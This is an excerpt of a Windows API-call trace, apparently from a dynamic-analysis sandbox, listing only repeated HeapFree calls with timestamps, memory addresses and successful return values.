	[0138.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0138.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0138.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0138.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0139.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0139.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0139.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcde8 | out: hHeap=0x4f0000) returned 1
	[0139.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0139.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0140.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0140.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0141.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a04c8 | out: hHeap=0x4f0000) returned 1
	[0141.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a04c8 | out: hHeap=0x4f0000) returned 1
	[0141.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a04c8 | out: hHeap=0x4f0000) returned 1
	[0141.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a04c8 | out: hHeap=0x4f0000) returned 1
	[0141.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a04c8 | out: hHeap=0x4f0000) returned 1
	[0141.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0141.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0141.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0141.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0141.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0141.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c04d8 | out: hHeap=0x4f0000) returned 1
	[0141.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c04d8 | out: hHeap=0x4f0000) returned 1
	[0141.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c04d8 | out: hHeap=0x4f0000) returned 1
	[0141.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c04d8 | out: hHeap=0x4f0000) returned 1
	[0141.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c04d8 | out: hHeap=0x4f0000) returned 1
	[0141.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c04d8 | out: hHeap=0x4f0000) returned 1
	[0141.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c04d8 | out: hHeap=0x4f0000) returned 1
	[0141.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c04d8 | out: hHeap=0x4f0000) returned 1
	[0141.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c04d8 | out: hHeap=0x4f0000) returned 1
	[0141.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c04d8 | out: hHeap=0x4f0000) returned 1
	[0141.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c04d8 | out: hHeap=0x4f0000) returned 1
	[0142.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c04d8 | out: hHeap=0x4f0000) returned 1
	[0142.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c04d8 | out: hHeap=0x4f0000) returned 1
	[0142.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c04d8 | out: hHeap=0x4f0000) returned 1
	[0142.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.720] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.732] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0143.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b04d0 | out: hHeap=0x4f0000) returned 1
	[0143.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a04c8 | out: hHeap=0x4f0000) returned 1
	[0143.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0143.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0143.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0143.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0143.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0143.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0143.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0143.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0143.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0143.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0143.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0143.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0143.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0143.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0143.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0143.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0144.354] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.365] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.370] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0144.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.387] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.393] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0145.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0145.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0145.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0145.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0145.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0145.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0145.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0145.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0145.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
